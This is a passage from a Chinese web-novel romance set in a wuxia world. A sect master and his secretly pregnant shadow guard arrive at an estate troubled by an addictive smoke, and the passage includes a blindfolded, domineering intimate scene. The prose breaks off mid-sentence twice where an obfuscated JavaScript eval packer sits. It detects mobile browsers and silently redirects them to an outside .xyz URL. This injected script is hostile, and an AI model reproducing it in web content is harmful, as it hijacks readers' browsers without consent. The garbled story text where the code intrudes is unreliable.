贺邢轻哼一声,夹了一筷子清炒笋丝放到他碗里, “多吃些,瞧你脸色这么差,不知道的还以为我苛待了你。” 阿影低头小口吃着,像只谨慎的兔子般一点一点咀嚼。 阳光透过窗棂照在他脸上,更显得肤色透明得几乎能看见青色的血管。 贺邢忽然道:“我就该找个别的医者替你瞧瞧。张雪虽然医术不错,但毕竟是一家之言,多个人看看总是好的。” 其实,贺邢也有点怀疑阿影是不是怀孕了,毕竟在之前的梦境里,阿影是怀着他的孩子的。 但是贺邢不确定是不是在最近怀上的,而且张雪又对答如流、天衣无缝。 阿影闻言一愣,手中的筷子险些掉落。 他强自镇定道:“属下怎敢劳烦主人如此费心。” “也不是头一回为你费心了。” 贺邢唇角勾起一抹戏谑的笑, “你若是真想感激我,不如身体力行?” 阿影微微咬唇,指尖在桌下悄悄抚上小腹。 他如今这般身子,如何能服侍。 他只得垂眸低声道:“属下……属下……” 贺邢忽然笑出声来:“不过是逗你的,怎么还真信了?” 他语气一转,带着几分危险意味,“瞧你这般为难,难不成是对我不满意?” 阿影慌忙道: “属下万万不敢!属下的一切都是主人的,主人要属下生就生,要属下死就死。” “谁要你寻死觅活的,” 贺邢挑眉,“且好好活着吧,我可用不着你死。” 阿影这才稍稍安心,知道这个话题总算被揭过去了。 可他心中却是波涛汹涌——这脉象万万不能让别的医者来看,喜脉太过明显,根本藏不住。 而且随着月份越来越大,肚子也会显形,到时候…… 他不敢再想下去。 未来会怎样? 阿影大概能猜到结局不会太好。 一个没有身份地位的影卫,仅凭一张与旭荟相似的脸留在主人身边,只是因为听话乖顺,所以被当成替身而已,如果连话都不听了,还有什么存在的意义? 以色侍人,能得几时好? 更何况若是主人知道了他隐瞒身孕……想到可能面对的雷霆之怒,阿影就不寒而栗。 他不知道自已能否从那样的怒火中存活下来。 纵使心中百转千回,车队还是如期上路了。 两行人同行,倒也相安无事。 任云起看似桀骜不驯,对旭辉却格外殷勤,端茶送水无微不至,连汤药都亲自煎煮。 贺邢这才知道,任云起竟通医术,且造诣不凡。 途中休憩时,贺邢对阿影道: “不如让任少侠为你诊脉?我看他医术相当了得,否则也不能将旭辉那样的身子骨调理得这般好。” 闻言,阿影心中惶恐,只得找借口推辞: “主人,任少侠终归不是自己人,属下唯恐他对主人不利。” 贺邢沉吟片刻: “这倒是我考虑不周了。不过他对我能有什么不利?我不信他能翻出什么浪来。” 他话锋一转,目光落在阿影苍白的脸上,“反倒是你才该事事小心。如今身子这般虚弱,也不知是怎么搞的。” 阿影闭口不言,只将头垂得更低。 快到旭家山庄的前一夜,因赶路时辰尴尬,天黑时仍未遇到客栈,两行人只得在荒山野岭寻了处开阔地带歇息。 马车在月光下排成一列,像一队沉默的巨兽。 贺邢抱着阿影睡在马车里,车厢内暖意融融。 不知张雪用了什么方子,这一路上阿影的呕吐确实好了许多,此刻竟也能安然入睡。 夜深人静时,阿影忽然惊醒。 车外传来极轻微的脚步声,迅速远去,他立即警觉地握紧了枕边的剑。 透过车帘的缝隙,他看见任云起抱着一人的身影,在月光下一闪而过,很快消失在树林深处。 这么晚了,是谁去做什么? 阿影正暗自疑惑,忽然感觉贺邢的手臂收紧了几分。原来主人也醒了,正若有所思地望着车帘方向。 “主人?”阿影轻声唤道。 贺邢低头看他,月光下那双眼睛格外深邃: “没事,睡吧,那任云起和旭辉恐怕是有私情,应是去偷情的。” 说着将阿影往怀里又带了带,指尖略过小腹。 小腹…… 阿影屏住呼吸,生怕被察觉异样。好在贺邢似乎并未在意,很快又沉沉睡去。 这一夜,阿影再无睡意。 他听着车外呼啸的山风,感受着腹中细微的胎动,心中五味杂陈。 毕竟,他怀着不该有的孩子,走在一条看不到未来的路上,不知未来是对是错,不知前路是生是死。 —— 在荒郊野岭歇息一夜后,车队迎着晨曦继续启程。 若不出意外,今日黄昏前便能抵达旭家山庄。 晨雾尚未散尽,远山如黛,官道两旁的草上凝结着薄霜,在初升的日光下闪烁着细碎的光芒。 然而越靠近山庄,沿途的景象便越发诡异。 官道两旁不时可见精神颓靡的行人,有的瘫坐在路边目光呆滞,有的则蜷缩在角落瑟瑟发抖。 一个衣着褴褛的老者蹲在路旁,双手颤抖着在泥土中摸索,仿佛在寻找什么丢失的珍宝;几个年轻人靠在破败的土墙下,眼窝深陷,面色青白,对着空气痴笑。 就连一些衣着光鲜的富家子弟,也大多面色不佳,眼下带着浓重的青黑,策马经过时都显得有气无力,仿佛被什么无形的东西抽干了精气神。 “啧。” 贺邢微微掀开车帘,将这一切尽收眼底,眉头不自觉地蹙起。 这旭家地界是怎么回事? 几年前他来时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433919|184924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里还是一片欣欣向荣的景象,田野间农人耕作,市集上商贩叫卖,如今却透着一股说不出的死气沉沉。 就连道旁的树木都显得萎靡不振,枝桠枯瘦地指向灰蒙蒙的天空。 阿影靠近车窗,苍白的脸上带着忧色。 他压低声音道:“主人,属下拙见,这些人只怕是都抽了长生烟。” “长生烟?”贺邢眸光一凛。 他当然记得这个名字——十年前江湖那场腥风血雨,皆因这害人之物而起。 当年魔教意欲入侵中原,假借长生教之名传播此烟,不知害得多少人家破人亡。 最后魔教围攻剑阁那夜,百名影卫死守武林天门,宁死不退,才换来如今的太平。 剑阁也正是那一战成名。 阿影继续低声道:“长生烟极易上瘾,能与金银相比,没几个能担得起。上瘾者大多倾家荡产,最后沦落街头。” “更可怕的是此物极其损毁肺腑心脉,吸食两年大多都……” 他顿了顿,没有再说下去,但猜也猜得出来后话是什么。 ——吸食两年大多都死了。 贺邢望着车外那些行尸走肉般的身影,面色愈发阴沉。 看了一会,简直和人间地狱没什么区别,贺邢猛地放下车帘,车厢内顿时暗了下来。 行至一片枯黄的草场时,车队暂停休整。 马夫们忙着给马匹喂食草料,侍卫们则警惕地巡视四周。 贺邢下车透气,深吸一口清冷的空气,试图驱散胸中的郁结。 恰在此时,他看见旭辉被任云起小心翼翼地搀扶着朝这边走来。 旭辉声音虚弱,却依然保持着世家公子的风度:“不知阁主方不方便借一步说话?” 贺邢瞥了他一眼,目光不经意间扫过马车的方向,那里坐着正在休憩的阿影。 这才淡淡道:“走吧。” 两人行至车队后方一处相对僻静的地方,枯草在脚下发出细微的碎裂声。 旭辉又对紧随其后的任云起柔声道:“云起,你也稍避片刻。” 任云起担忧地看了他一眼,手在他臂上轻轻按了按,这才退到不远处的马车旁,目光却始终没有离开旭辉的身影。 “现在可以说了?”贺邢抱臂而立,玄色大氅在晨风中微微摆动。 旭辉先是笑了笑,笑意却未达眼底:“阁主想必已经看出我与云起的关系了。” 他顿了顿,声音轻了几分,带着些许自嘲, “正如阁主与那位影卫的关系一般。若将云起比作刀剑,他便是没有鞘的利刃,锋芒太盛,易折易伤,只能由我来做他的鞘。” “所以呢?”贺邢不耐地挑眉,目光锐利如刀,“你特意避开众人,总不会只是为了说这些。” 寒风有些凌厉,旭辉轻轻咳嗽了几声,他稳住呼吸,继续道: “阁主,我从前一直以为您钟情于我二弟,如今看来,似乎只是传闻罢了。” 贺邢冷笑一声,语气中带着几分讥诮:“说起来,我也很是不解,为何会传出这种传闻。” “虽说如今武林风气开放,但男子相恋终究少见,大多不过是一时兴起罢了。” “因为这本就是我二弟自己传出去的消息。” 旭辉轻叹一声,声音里带着几分无奈, “他一向如此,想要这世上所有最好的东西,包括阁主您。仿佛只要是他看上的,就都该是他的。” 目光飘向远方,旭辉带着几分复杂的情绪。 贺邢不语,静待下文。 晨风吹起他额前的几缕发丝,更衬得面容冷峻。 “其实家父原本一直想撮合您与二弟,” 旭辉的声音渐渐低沉,带着几分谨慎, “但想必也看出阁主并无此意,这才放弃了剑阁,另寻其他助力。”他说到“助力”二字时,语气刻意加重了几分。 贺邢敏锐地捕捉到这个词,眸中闪过一丝精光:“助力?” “正是。”旭辉抬眼直视贺邢,目光中带着前所未有的严肃, “要让长生烟重新流传,需要极大的势力支撑,因为这本身就是利润极大的买卖。” “这一路走来,阁主想必已经看到那些人的模样——”他顿了顿,声音压得更低,“正是在旭家山庄附近,长生烟已经小范围流传开了。家父他……似乎已经深陷其中。” 贺邢眸中寒光乍现,周身气息陡然冷厉: “长生烟让剑阁百名影卫无一生还,曾在武林掀起腥风血雨,如今竟敢重新流传?不管是谁在做这件事,都是痴人说梦。” 旭辉有些意外地睁大眼睛,随即露出一丝笑:“没想到阁主竟如此嫉恶如仇。” “我虽称不上什么善人君子,但危害一方的事绝不会做。” 贺邢语气冷厉,每个字都像是淬着寒冰, “更何况剑阁与长生烟本就有血海深仇。师父对我有教导之恩,但我不能看着他老人家一错再错。” 旭辉郑重颔首:“阁主大义,在下佩服。” 他犹豫片刻,又道:“只是家父如今似乎已经被利益蒙蔽了双眼,再加上二弟在一旁推波助澜——” “所以你是故意在那个客栈等我们的?”贺邢突然打断他,目光如炬。 旭辉愣了愣,随即哑然失笑: “阁主,人如何能预知未来?我并不知道阁主会出现在那个客栈。那日确实是我旧疾复发,咳得厉害,不得已才停下歇息。” 他顿了顿,轻轻咳嗽几声,又道:“不过既然遇上了,有些话不得不说。我知道阁主是明事理的人,不会坐视不管。” 贺邢沉默片刻,目光掠过旭辉单薄的身形,忽然问道:“说起来,你喜欢那个任云起?” 此刻也已经无需遮掩了,旭辉毫不犹豫地点头,苍白的脸上浮现一抹真切的笑意:“当然。” 却见贺邢像是遇到了什么难题般蹙眉,语气中带着几分难得的困惑: “喜欢是什么感觉?你为何喜欢他?又为何说我和阿影的关系与你们一样?” 真是当局者迷,旁观者清。 旭辉惊讶地睁大眼睛,随即失笑: “阁主居然不知道吗?我一眼就能看出你们之间的关系非同寻常。” 他的目光变得柔和,带着几分洞察世事的了然, “你们之间的距离很近,一举一动间都透着亲密,那是装不出来的。” 他继续道:“至于喜欢是什么感觉,无非是希望对方好,见不得他受半点委屈。而为何喜欢云起——” 旭辉笑了笑,眼中漾起温柔的光彩, “那是我的私事呢。就像阁主为何会待那位影卫与众不同,想必也有自己的理由。” 贺邢猜测道:“因为他医术好,能救你性命?” “可以是因为这个原因,但也不全是。” 旭辉望向远处正在照料马匹的任云起,目光温柔似水, “喜欢是很多因素交织在一起的,并非单单因为某一个条件。只是遇到他之后,才觉得这世间原来也有意思,不至于无趣得叫人厌烦。” 贺邢若有所思地望着远处起伏的山峦,忽然想起阿影苍白的脸,想起自己不知不觉间为他破的例、操的心。 那些下意识的关心,那些莫名的牵挂,那些说不清道不明的情绪,原来都有了解释。 风掠过草场,带来远山的寒意和枯草的气息。 贺邢望着天边聚散的云,许久,长叹一声:“原来如此。” 15. 第15章·身世 马车在崎岖的山路上又颠簸了一整日,终于在暮色四合时分抵达了旭家山庄。 这一路上,阿影又吐了好几回,脸色苍白如纸,整个人虚弱得几乎坐不稳。 贺邢看得心烦意乱,把张雪拎过来问了一次又一次,甚至怀疑阿影是不是有了身孕。 但张雪始终应对得滴水不漏,给出的理由也合情合理: “阿影大人这是水土不服,加上连日奔波劳累,脾胃虚弱所致。属下已经调整了药方,再过两日应当就能好转。” 贺邢眯起眼睛,目光在张雪镇定自若的脸上停留片刻,终究没再追问,但心中的疑虑却愈发深重。 当晚宿在途中驿站时,他便已经飞鸽传书,命剑阁门下最近的医者快马加鞭赶来。 别的医者确实是信不过,还得是剑阁的医者,多叫几个过来。 日夜兼程的话,约莫两三日就能到。 然后就到了旭家山庄。 旭家山庄坐落在半山腰,依山傍水,气势恢宏。 朱漆大门缓缓开启,贺邢的师父旭东和师娘柔夫人亲自出来相迎。 “小贺来了,也是许久不见了。” 旭东已是知天命的年纪,鬓角斑白,眉宇间带着几分疲惫,但那双眼睛依旧锐利。 柔夫人虽年过四十,却保养得宜,绫罗绸缎加身,腕间戴着一对上好的碧玉镯子,颈间坠着同色的玉饰,通身透着雍容华贵。她似乎格外偏爱碧玉制品,连发簪都是翠玉雕成的凤凰衔珠样式。 “今日才赶来,徒儿实在是心生歉意,特地为师父,师娘准备了礼物。” 贺邢对此早有准备。他给旭东带了些珍贵的补品,又特意为柔夫人备了一套价值连城的碧玉头面——簪、钗、步摇、耳珰一应俱全,玉质通透,雕工精湛。 “瞧你,都是自家人呢,还客气什么?” 柔夫人笑着接过礼物,目光却在瞥见贺邢身后的阿影时骤然凝固。 “这……?” 她死死盯着那张脸,手中的锦盒险些跌落,脸上血色尽褪,连嘴唇都在微微发抖。 “你、你是……”柔夫人失态地向前迈了一步,声音颤抖得不成样子。 见状,贺邢心里有些不悦,好像不管是谁接近阿影,他总会觉得心里不高兴。 贺邢不动声色地侧身将阿影完全挡在身后: “师娘见笑,这是我的影卫,阿影。” 事实上,就连旭东看到阿影的容貌时也愣了一下。 他早就听闻剑阁有个影卫与自己的次子长得极为相似,却没想到会像到这个地步——简直是一个模子里刻出来的。 但他毕竟阅历深厚,很快便恢复如常,轻轻拉了拉柔夫人的衣袖: “夫人,小贺难得来一趟,哪有让客人在门口站着的道理?快请进来吧,外头风大。” 柔夫人这才回过神,目光却仍不由自主地往阿影身上飘:“是、是妾身失态了。小贺,快进来吧。” 阿影自始至终都垂着眼眸,像一道沉默的影子般跟在贺邢身后。 他刻意收敛了气息,仿佛要与周围的阴影融为一体,唯有在贺邢侧身时,才会不着痕迹地调整位置,确保自己始终处于最能及时护主的位置。 阿影从来没有忘记过,自己终究是一个影卫,自己的职责就是要护卫主人。 然后贺邢婉拒了柔夫人要亲自带他们去客院的提议: “师娘连日操劳,这些小事就不必亲自费心了。我记得客房在哪儿,自行过去便是。” 柔夫人勉强笑了笑:“也好,那你们好生歇着。” 她说着,目光又一次飘向阿影,带着难以掩饰的情绪。 旭东嘱咐了几句客套话,目光在阿影身上停留片刻,终究没说什么,携着心神不宁的柔夫人离开了。 贺邢带着阿影、张雪等人来到一处名为“流水丹鹤”的客院。 这里曾经养过不少白鹤,却不知为何总是养不活,后来便改养锦鲤了,但名字却一直没改。 一进客房,阿影便主动开始整理床铺。 贺邢看着那道忙碌的身影,没来由地觉得碍眼:“这些活儿用不着你动手,让丹云她们来做便是。” 阿影动作一顿,垂首应道:“遵命。” 下一秒,贺邢眯起眼睛,语气危险: “越靠近这儿,你越是摆脸色给我看,这是什么意思——你在找操吗?“ 阿影对着突然的荤话吓了一跳。 他脸色不好纯粹是因为身体不适,却又不能明说——这里已经不是颠簸的马车,不能用晕车来解释孕吐的事。 没想到,反倒更惹主人心有不快。阿影连忙跪下: “主人恕罪,属下并无此意!属下这就领罚。” 闻言,贺邢用鞋尖轻轻踢了踢他的膝盖: “真是喜欢说这话,你若是喜欢跪,我叫你跪上三天三夜如何?” 他危险的眯了眯眼睛,就是他心情很差的预兆,贺邢俯身抓住阿影的头发,迫使阿影抬起头来, “怎么着,是我太纵着你了?敢在我面前摆脸色?“ 阿影吃痛地蹙眉,却不敢直视贺邢,只能偏过头垂下眼眸,顺从的仰起头来,露出一段脆弱的脖颈。 这副模样莫名取悦了贺邢,让他语气缓和了些许: “柔夫人多看你两眼,不过是因为你与旭荟长得像。” 他笑一声,“也不知你怎就生了这副容貌。” 阿影心中涌起一阵难以言说的委屈。 他何尝愿意与别人相像? 可若不是这张脸,他恐怕连站在贺邢身边的资格都没有。 一个身份低微、身体畸形的影卫,除了这副皮囊,还有什么能入主人的眼? 他沉默着,不知该如何回应。 而贺邢最讨厌他这副闭口不言的模样,却又舍不得真对他怎样,索性一把将人打横抱起。 “啊!主人……” 阿影惊呼一声,耳尖瞬间红透。这里虽然是里间,但外间还有侍女候着,仅隔着三串珍珠帘子! 贺邢扫了一眼已经收拾得差不多的房间,扬声道:“都下去吧。“ “是。” 外间传来侍女们整齐的应答声,随后是鱼贯而出的脚步声。 贺邢故意颠了颠怀里的人,吓得阿影慌忙搂住他的脖子。 “好像重了些,” 贺邢挑眉,“近日吃得不错?是不是吃了很多零嘴?” 怀孕确实是馋,虽然吃了就吐,但是还是喜欢吃,而且贺邢很喜欢给阿影弄很多吃的,阿影也不好意思拒绝,此刻他只能懊悔地咬唇: “属下知错,属下不该……” “吃得多是好事,”贺邢打断他,“难不成,要你提剑对敌时饿得手软?” 阿影低声应道:“谨遵主人教诲。“ 就这样抱着,贺邢忽然想起什么:“之前送你的金铃铛呢?放哪儿了?可别是丢了吧?“ 阿影连忙道:“属下万万不敢!金铃铛好生收在行李中。“ 贺邢满意地点点头,抱着他在床边坐下。 阿影犹豫片刻,还是轻声道:“若是主人需要,属下这就去取来。” “不急,” 贺邢的手无意识地抚过他的小腹,那里的腹肌稍微消下去了一点,隔着衣料能摸到柔软, “今日倒是用不着。” 阿影屏住呼吸,生怕被看出端倪。 好在贺邢似乎并未起疑,只是将下巴这样抱着他又压着他,将下巴搁在阿影肩头,懒洋洋地问道: “你觉得旭家如何?” “庄重气派,”阿影谨慎地回答,“只是……” “只是什么?”贺邢问。 阿影垂下眼帘:“属下觉得,庄内似乎太过安静了些。” 这一路走来,遇到的仆从都低着头行色匆匆,整个山庄弥漫着一种说不出的压抑氛围。 贺邢轻哼一声:“你也察觉到了?” 他若有所思地把玩着阿影的一缕头发,“师父他…似乎变了许多。” 阿影没有接话。 因为这不是他该置喙的事。 他不过是个媚上的影卫而已。 此刻,夜风穿过廊下,珠帘轻响,摇曳的烛光在室内投下斑驳的影子。 贺邢从怀中取出一段细红绸,那红色鲜艳欲滴,质地光滑,在昏暗的光线下流转着奢华的光泽。 阿影怔怔地看着那段红绸,尚未明白主人的意图,却已经下意识地伸出双手接过。 指尖触碰到冰凉丝滑的缎面时,他轻声问道:“主人?” 而贺邢唇角勾起一抹意味深长的笑,却没有回答。 他俯下身,竞伸手去解阿影的鞋。 修长的手指灵活地挑开系带,轻轻将两只靴子褪下,随意丢在房里。 “主人!万万不可!”阿影惊得几乎要从榻上跳起来,声音里带着前所未有的慌乱。 堂堂剑阁阁主,怎能为一个影卫脱鞋?这简直骇人听闻。 可他话未说完,就被贺邢用舌头堵住了嘴巴。 这个吻来得又急又凶,带着不容抗拒的强势,仿佛要将他的呼吸都掠夺殆尽。 “唔……” 阿影被迫仰起头,手中的红绸被无意识地攥紧,那上好的料子几乎要被他扯变形,却意外地坚韧非常。 贺邢捏住他的下巴,舌尖长驱直入,攻城略地。 阿影被吻得眼角泛红,眸中水光泛滥,每一次吞咽都带着难以言说的羞瑟。 他的意识渐渐迷乱了,只觉得整个人都被架在火上炙烤,连呼吸都变得滚烫。 这仿佛是一场另类的惩罚,又或是贺邢独特的教训方式。 阿影总是招架不住这样激烈的亲吻,每次都被弄得晕头转向。 贺邢尤其喜欢啃咬他的唇舌,起初常常会留下伤口,后来渐渐掌握了分寸,只留下些暖味的痕迹,很快便会消散。 一吻终了,阿影瘫软在贺邢怀中,急促地喘息着气。 “主人……” 阿影下意识的哀哀求饶。 那段红绸还紧紧攥在阿影手中,已经被揉得不成样子。 贺邢低笑一声,指尖抚过他微肿的唇瓣:“这料子可是江南的云锦,一年也就得这么点,倒是被你糟踢了。” 阿影这才意识到自己手中攥着的是何等珍贵的物事,慌忙想要松开,却被贺邢按住了手。 “既然给了你,就是要你用的。”贺邢的声音低沉而磁性, “不过…” 他话锋一转,眼中闪过狡點的光。 “弄坏了我的东西,该怎么罚?” 阿影垂下眼帘,轻声道:“但凭主人处置。” 贺邢的笑意更深了。 他取过那段红绸,轻轻蒙住阿影的眼睛,在脑后打了个结。 突如其来的黑暗让阿影有些不安,下意识地抓住了贺邢的衣襟。 “别怕,” 贺邢的声音在耳边响起,温热的气息拂过通红通红的耳廓。 “正是因为你看不见,所以你更应该信任我,不是吗?” 视觉被剥夺后,其他感官变得格外敏锐。 阿影能清晰地听到烛火瞬啪的轻响,感受到贺邢指尖划过衣料的触感,甚至能嗅到空气中若有似无的香。 这段红绸质地特殊,虽然遮住了视线,却意外地透气,并不会让人觉得闷,东西确实是好东西,只不过没有被贺邢用在正道上。 贺邢的稍微碰了两下阿影怀孕的小腹。 阿影浑身一僵,生怕被察觉异样,好在贺邢似乎并未在意,只是轻笑道: “真不错,近日倒是将你养得好了些。” 阿影咬着唇不敢答话。 红绸下的眼睛不安地眨动着,长睫扫过缎面,带来细微的痒意。 “猜猜我现在要做什么?”贺邢的声音里带着明显的愉悦,似乎很享受这场游戏。 “属下怎敢猜测主人的心思?” 阿影轻轻摇头,红绸随着他的动作微微晃动。 他确实猜不透主人的心思,就像他永远也看不透这个人时而温柔时而残忍的性子。 “你待在这别动。”贺邢命令。 阿影真的什么都看不见,眼前一片红彤彤的,但是他是一个很听话的影卫,也是一把很听话的剑。 所以他就这样子安静的躺在床上,只听到主人翻东西的声音。 忽然,阿影感觉到一个冰凉的东西,激得他冷颤了一下。 金属。 果然,下一秒就听到清脆的铃声 响了起来,伴随着贺邢的调侃: “不用你找了,我替你找出来了。” 贺邢似乎玩心大起,故意晃动铃铛,听着清脆的声响,似乎很满意的样子。 “阿影,你很乖,我送你的东西你都好好的收着,所以我以后会送你更多的东西……” …… …… …… 青天白日,铃铛声都要传出去了。 阿影不知道丹云她们到底走了多远?铃铛声会不会传到她们的耳朵里?她们又会怎么想? 因为要保护主人的安全,所以大概是不会走的很远的。 “放心,”贺邢仿佛看穿了他的心思,“这院子偏僻,不会有人听见。” 说着,他又故意动了一下。 “既然你担心,那不让别人听见不就好了?” 阿影已经说不出话来,只能仰着头无力地摇头,喉结艰难地上下滚动。 细密的汗珠布满了他的额头和脖颈,在烛光下泛着湿润的光泽。 他整个人像是从水里捞出来的一般,看起来既可怜又狼狈。 就像一把本该寒光凛冽的宝剑,被强行置于滚烫的油锅中烹煮,让坚硬的剑身在高温下逐渐变得柔软、变得怯弱。 若是要把炼钢化作绕指柔,到底是该强硬,还是该温柔呢? 若是温柔,应该如何驯服?若是强硬又该如何靠近? 贺邢俯视着身下之人,目光深沉。 他伸手拂开阿影额前被汗水浸湿的发丝,指尖沿着他紧绷的下颌线缓缓下滑,最终停留在颤抖的喉结处。 “很难受,很累?” 贺邢的声音低沉。 阿影张了张嘴,却发不出任何声音,只能再次摇头,他嗓子有点哑了,他很想喝水,但是就算给他一万个胆子,他也不敢指使主人去给他倒水。 阿影试图别开脸,却被贺邢轻轻扳了回来。 “躲什么?” 贺邢低笑,“这副模样,倒是比平时那冷冰冰、木呆呆的样子有趣得多。” 阿影在红绸之下闭上眼,长睫轻颤,明明什么都看不见,可是他像是无法承受这般直白的审视。 贺邢的目光在阿影脸上停留片刻,眸色渐深。 他忽然低头,在阿影的喉结处不轻不重地咬了一口,留下一个清晰的齿痕。 就像叼住了猎物的咽喉一样。 “呃——”阿影吃痛地闷哼一声,手指无意识地攥紧了。 “阿影,记住你是谁的人。” 贺邢在他耳边低语,语气中透露着不容置疑的命令的意味, “你这把剑,只能由我来握。” 阿影闻言,嘴唇微微颤动,最终只是顺从地点了点头。 贺邢满意地看着他的回答,指尖轻轻划过那些旧伤疤,语气忽然软了下来:“疼吗?” 阿影怔了怔,似乎没料到会有此一问。 他迟疑片刻,轻轻摇头。 “撒谎。” 贺邢低斥,却带着几分难得的温柔。 “你又不是神仙,又不是铁人,也不是真正的木头石头做的,受了伤又怎么会不疼呢?” “之前或许是你职责所在,不过,现在你是我的,我会保护你。” 他起身取来湿帕,仔细为阿影擦拭额间的汗珠,动作轻柔得与方才判若两人。 阿影安静地任由他动作。 虽然是事中擦拭清洁,阿影知道这里不会是结束。 毕竟,赶路的这几天,确实算得上是什么都没干了,阿影大概猜得到,因为自己一直在呕吐,实在是败坏了主人的兴致。 因为这样一段迷乱之后,红绸已经有些松动了,隐约能看见烛光透进来,却依旧看不清贺邢的表情。 可是,这种若隐若现的感觉反而更让人心慌。 贺邢的手指抚过他被绸缎覆盖的眼睛,语气忽然认真了几分: “阿影,你若有什么心事,大可对我说。” “不过,要是我发现你欺瞒我,只怕是你要被我罚得脱一层皮。” 阿影的心猛地一跳,几乎要以为主人察觉了什么。 他从来都不敢轻视主人的敏锐,能在那样的刀光剑影中活下来,没有谁是心大的。 这江湖,阴谋阳谋,层出不穷。腥风血雨,从未停止。 这就是江湖。 身为江湖中人,身为剑阁的影卫本应该无牵无挂,一心效忠,但是这份对主人的忠心里面却偏偏牵扯了一点别的东西。 阿影有自己的私心。 他不敢启齿,他跟在主人身边这么久,知道主人生性凉薄,当年也就旭荟公子能稍微靠近主人一点。 如今他因为一张跟旭公子长得很像的脸,从而能够不要脸的爬上主人的榻上,已经是走了大运了。 否则他这种身份低微的、满手沾满了鲜血的影卫,又如何能够离主人这么近呢。 可是再多的理由,再多的借口,也无法掩饰这个事实,阿影怀孕了,但是他藏着掖着,不告诉主人,这就是欺骗。 这就是欺骗了。 阿影张了张嘴,最终却只是轻声道:“属下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433920|184924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …不敢。” 贺邢沉默了片刻,忽然扯下了阿影那蒙眼的红绸。 “你真的不要骗我。” 突如其来的光线让阿影不适地眯起眼睛,好一会儿才适应过来。 他看到贺邢直直的、正凝视着自己,眼神复杂难辨。 “……” 阿影望着那双深邃的眼睛,忽然有种想要倾诉一切的冲动。 此刻或许是事后的依赖,或许身体靠近了,心灵也会靠近一点。 他想告诉主人关于孩子的事,想问是否愿意留下这个意外而来的生命,想问……是否对自己有过半分真心。 可话到嘴边,却又咽了回去。 他不敢赌,也赌不起。 他已经被主人当做器物弄了,那就不要再当个笑话了。 最终,阿影只是垂下眼帘,轻声道:“属下明白。” 然后,贺邢似乎有些失望,但很快又恢复了往常的模样。 他将那段红绸仔细叠好,塞进阿影手中:“收着吧,日后或许还能用得上。” 阿影握着手中华贵的绸缎,只觉得那抹红色柔软得很。 质量确实是很好,肯定很贵吧。 手中的红绸如同烫手的山芋,让他心神不宁。 阿影知道,有些事情,终究是 瞒不住的。 而当真相大白的那一天,等待他的,又会是什么? —— 与此同时。 旭家山庄主院的书房内,烛火通明,却照不亮此刻凝重的气氛。 昂贵的紫檀木书案上,宣纸散乱,一方上好的端砚被扫落在地,墨汁溅洒在名贵的地毯上,晕开一片深色的污渍。 旭东大发雷霆。 “呜呜呜呜……” 只见柔夫人瘫跪在冰冷的大理石地面上,往日梳得一丝不苟的发髻已然散乱,几缕青丝黏在泪湿的脸颊旁。 她身上那件绣着繁复牡丹纹样的锦袍,此刻也皱巴巴地拖在地上,沾满了灰尘。 肩膀不住地颤抖,压抑的啜泣声在寂静的房间里显得格外清晰。 “我就说,这世上怎会有无缘无故长得如此相像之人!” 旭东背对着她,站在窗前,望着窗外的一片雪色。 他的声音嘶哑,带着一种极力压抑却仍透出震怒的颤抖, “若不是今日见你神色有异,逼问于你,恐怕我这一生都不会知道,原来不是像…那根本就是我的种!是我旭东的血脉!” 他猛地转过身,烛光映亮他铁青的脸和布满血丝的眼睛。 他几步跨到柔夫人面前,居高临下地瞪视着她,手指因愤怒而微微发抖: “如今是什么光景?辉儿那身子骨就是个药罐子,风吹就倒!荟儿呢?成事不足败事有余,尽会惹是生非!正是用人之际,你却告诉我,我还有一个儿子…” “一个看起来身手不凡的儿子,竟然被你当作影卫养在别人身边!你、你这个蠢妇!当年为何要把他丢了?!” 柔夫人被他吼得浑身一颤,抬起泪眼婆娑的脸,声音破碎不堪: “夫君、夫君息怒啊!呜呜呜呜——” “那阿影…他、他和荟儿其实是双生的兄弟……” “自古双胎就被视为不祥,尤其是男丁双生,妾身当时也是怕极了,怕引来灾祸,更怕因此事让夫君心烦,乱了心神…这才…这才不得已…命人将那孩子送得远远的…我只当他是死了…” “不祥?灾祸?” 旭东气得冷笑连连,猛地一脚踢开脚边一个翻倒的椅子, “我看你才是最大的灾祸!你损了我一个儿子!一个可能比那两个废物加起来都有用的儿子!” 这话像是一根针,狠狠刺破了柔夫人长久以来的委屈与恐惧。 她竟不知哪来的力气,猛地撑起身子,摇摇晃晃地站了起来,美目圆睁,泪水却流得更凶,声音陡然拔高,带着一种破罐破破摔的尖利: “你怪我?!你只知道怪我?!你怎么不问问你自己!当年是谁最先碰了那该死的长生烟?” “是谁被那东西掏空了身子,败坏了根本?!大夫私下早就说过——说过你那时精元已损,就算能让女子受孕,生下的孩子也极易带有先天残缺!” 她喘着粗气,胸口剧烈起伏,指着虚空,仿佛指着那个她不愿回忆的婴儿: “那孩子…那阿影…他根本就是个怪物!非男非女,是个阴阳同体的怪胎!” “这样的孩子,你叫我怎么留?我怎么敢留?!若是传出一星半点,旭家百年清誉就要毁于一旦!你还有何颜面立足于此?!” 闻言,旭东像是被一道惊雷劈中,踉跄着倒退两步,脊背重重撞在冰冷的墙壁上,发出一声闷响。 他脸上的怒意、不甘、震惊如同潮水般褪去,只剩下一片死灰般的颓然和难以置信的空洞。 